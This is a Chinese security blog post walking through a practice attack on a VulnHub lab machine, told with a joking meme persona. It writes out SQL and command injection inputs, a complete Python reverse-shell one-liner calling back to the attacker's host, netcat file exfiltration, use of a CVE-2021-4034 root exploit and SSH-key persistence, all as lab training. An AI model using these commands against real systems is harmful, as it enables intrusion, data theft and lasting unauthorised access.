freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次“模仿杰哥攻略阿伟”的靶场渗透练习
2022-03-24 23:21:45
所属地 天津

2022年的3月,时间如白驹过隙,转眼写上篇文章已经是5个月之前了,时间匆匆,到底在忙什么我自己也不知道,今年新冠疫情总感觉更加重了,停不下来的通嗓子眼。两年前还不知道什么是核酸,转眼这个词已经变成了生活的一部分,这段时间总是忙着考证,无意间打开vmware发现好久已经不打开kali了,官网变了,新的kali也变了,想试试自己那本就记忆力不强的小脑瓜,是否早已忘记了渗透的基本技术,于是去vulnhub下了个简单靶场试试。

情况简介

好久没碰渗透相关的东西了,2021年下半年到现在都忙着夯实基础去考了hcip和rhce,虽说平时是做蓝方的这两个证书也用不太上,但主要上大学的时候就像考了,总是感觉拖延,尤其是考了pte之后更拖延了,于是就一鼓作气把这两个小家伙都考完了,工作上一直在忙着看态感和搞数据安全,数据安全和态势感知结合误报真的太多了,每天都在优化,还是改不了这罗里吧嗦不说正事的毛病,这次用的靶场比较简单是在vulnhub上下载的,大佬们可以忽略,只是练习下渗透的思路,下面先介绍下这次渗透用的工具和软件:

软件

  • Virtual Box 运行靶场环境
  • VMware 运行kalilinux

靶机

工具

基本上就用了kali上自带的工具,自己本机上也有工具,但是公司在个人电脑上装了终端安全软件,有密码没法退出,总而言之,就是很麻烦,使用一些工具会报毒。所以就都用kali里的了,因为是打靶场,也没必要啥的使用代理啊,连接手机热点啥的(生活在被蓝方溯源的恐惧中,虽然我也是个小蓝人:))

  • netdiscover 网络发现
  • arp-scan 网络发现
  • arp-ping 网路发现
  • nc(netcat) 反弹shell
  • dirsearch 网站目录扫描
  • hydra 爆破
  • sqllite3  sqllite数据库查看工具(平时也不用,主要是靶机里有个相关文件)

环境拓扑

文章后续将把kali称为杰哥,把靶机称呼为阿伟♂♀

1648128329_623c714975767898f9c42.png!small?1648128330610

go!

  1. ♂ 首先杰哥要想入侵阿伟第一步肯定是要找到阿伟,在内网渗透中的呢这一步就称为网络发现。那么杰哥要如何找到阿伟呢,现实中杰哥可以依靠敏锐的嗅觉,但在渗透过程中,这一步我们我介绍三个工具。1648129633_623c76618e76eed7f0bca.png!small?1648129636653(1)arp-scan 利用arp协议进行二层发现,除了目标外还扫到了一堆,小米音箱啥的,但根据描述信息可以判断只有192.168.0.109是我们的目标。

命令:arp-scan -l 扫描当前网卡的网段

1648129322_623c752a834c3128f5c36.png!small?1648129324559

    (2)netdiscover同样可以达到上述目的,让我们再试一次。

命令:netdiscover -i eth0 -r 192.168.0.0/24 #-i指定网卡 -r 指定范围

1648129764_623c76e427f8a7e94ee4a.png!small?1648129765811

(3)上述两个工具都属于渗透测试中使用的工具,并且可以达到很好的效果再介绍一个工具,arping这个工具怎么说呢缺点非常明显,他不能自动化的扫描一个网段,并且没有目标的一个基础的banner信息。我们可以结合一下shell脚本进行一个自动化的探测,存活的ip会有响应包

命令:for i  in $(seq 1 254);do arping 192.168.0.$i -c 1;done

1648130393_623c79595923966daa294.png!small?1648130394458

2.找到阿伟后杰哥就要找到阿伟的弱点把阿伟骗到家里去,在我们攻击过程中,就要去探测下被攻击者可能存在弱点的地方,先用masscan从端口下手。

1648130576_623c7a100a15bb3a2aa41.png!small?1648130577238

命令:masscan -p- 192.168.0.109 --rate 10000 

1648130685_623c7a7d627e05bfdda6f.png!small?1648130686446

可以看到这里开放了两个端口,接下来使用nmap强大的端口banner识别库,看看这两个端口运行这什么服务

1648130787_623c7ae393cc5606c0bbb.png!small?1648130788697

可以看到这里22号端口运行的是ssh,8080运行的python的一个http服务,一般这里我们可以对ssh服务进行爆破,也就是杰哥可以一开始就对阿伟来硬的,但是杰哥没有,杰哥先会让阿伟熟悉家里的环境,所以我们先从8080端口下手,看看web服务有没有什么好康的。1648131004_623c7bbcf3231b8593f9d.png!small?1648131006083

1648131064_623c7bf8a8411949517d2.png!small?1648131065693

web界面显示的内容里没有很多的内容,输入框的话,一般我们下意识的考虑sql注入或是xss,如果能执行命令的话可以考虑命令执行后面接管道符插入其它我们的恶意命令,我们先看看把

1648131209_623c7c89a1dc342f4aece.png!small?1648131210632

随意输入之后显示都是错误信息,可见这是个类似密码的页面,先使用dirsearch扫描下看看有没有其它可利用的页面,没有的话再回来干这个

命令:dirsearch -u http://192.168.0.109:8080

1648131356_623c7d1cefaa388a4e220.png!small?1648131358087

扫描完发现有一个响应为200的页面进去瞧瞧

1648131428_623c7d649423e9e9d5d35.png!small?1648131429643

emmm也是一个类似于密码的东西,这里先从上一个页面开始把,先试试sql注入

1648131601_623c7e116acfbd4075e7a.png!small?1648131602609

双引号直接报错,显示的sqllite报错内容,同时使用“ or 1=1永真条件,直接显示密码正确页面。yahoo~~1648131693_623c7e6d21813acc33bb0.png!small?1648131694257

可以看到这里描述说尝试扫描一些文件,下面明显是linux下 ls  -l内容,先输入一些文件看看

1648131871_623c7f1f2994cb1fbd9be.png!small?1648131872194

尝试了几个都大同小异,但是推测都是都是后台返回的结果,试试能不能拼接命令

输入:hello|whoami

1648132014_623c7fae8d60f7dbcab3e.png!small?1648132015591

啊这。。。直接命令执行,那就反弹个shell把,通过ls看到服务器上有nc、有python,那就直接弹个python的shell到攻击机的nc上

命令:hello|python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.110",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

kali执行命令:nc -lvnp 1234

1648132446_623c815edfbc512cce887.png!small?1648132448115

3.可以看到这时候杰哥已经把阿伟带到了物理但最后怎么拿到阿伟的最终权限呢,我们就要想办法进行提权了

1648132598_623c81f6babff4eb3ac49.png!small?1648132600064

查看当前目录发现有几个文件,经过查看发现其它几个都是运行web服务相关的模板文件,想要看看database.sql里写了点啥,发现当前没有运行环境,那只能下载下来搞一搞,当前环境有nc那就用nc传到我们本地环境1648132806_623c82c63e9f4c0a72e0f.png!small?1648132807213

1648132676_623c8244070f785d48d00.png!small?1648132678218

靶机:nc 192.168.0.110 2222 < database.sql

kali:nc -lvnp 2222 > database.sql

拿到文件后我们再kali本地进行查看发现内容如下,貌似是一些密码

1648134413_623c890dd4f3242b28679.png!small?1648134415048

试了试这些密码是web服务的密码。

1648134532_623c898412c4d4c702fcf.png!small?1648134533120

同样也用这些密码登录了下ssh发现进不去,密码也仅仅是给前端用的了,我们要改变别的思路了,条条大路通罗马,不要再一条路上卡死。。。(但有的人生来就在罗马)

4.终于杰哥要对阿伟进行最终一击了,过来,让我康康!!!

1648133459_623c8553d05046152dec1.png!small?1648133460944

既然我们已经有了一个普通账号权限,并且经过查看服务器有wget我们就将今年刚爆出来的linux提权漏洞cve-2021-4034直接试试对靶机进行提权

1648133583_623c85cf4eda04711d0d8.png!small?1648133584461

将提权脚本进行下载,我这里的提权脚本有两个版本,一个是c语言编译的二进制文件,一个是python版,由于靶机上直接是python环境,就直接使用python版了

1648133675_623c862bf2c919b6b8497.png!small?1648133677173

直接拿到root权限,虽然这么做有点赖皮,其实按照道理说,这个靶场提权应该还有一些复杂的过程,但是谁让他出的早呢,漏洞有时候真的就是核武器,不讲道理的

5.写入ssh私钥进行持久化,让阿伟逃不出我们手掌心

1648133945_623c8739e99eed360c35f.png!small?1648133947126

在kali上使用ssh-keygen生成ssh公钥和私钥1648134021_623c8785e02b17750cc4b.png!small?1648134022889

同样使用python在本地建立一个简单http服务,然后再靶机下载公钥,并写入/root/.ssh/authorized_keys文件内1648134143_623c87ff41429e8735dc1.png!small?1648134144406

最后再kali上使用ssh进行登录试一试

1648134206_623c883ee08ab7fcbe1da.png!small?1648134208091

登录成功,杰哥成功控制了阿伟!!♂

总结

1648134858_623c8aca3a8a27270d5aa.png!small?1648134859824

这次这个靶场比较简单,过程中有很多鸡贼的方法,我觉得肯定这个靶场还有很多其它的提权思路,但懒得找了,直接就用最新的linux提权脚本了,之后再到vulnhub下载一些靶场打打看,但最近数据安全真的有点忙。。算了,人生无常,大肠包小肠!我是return0,见到你很开心 :)

# 黑客 # web安全 # CTF # 企业安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录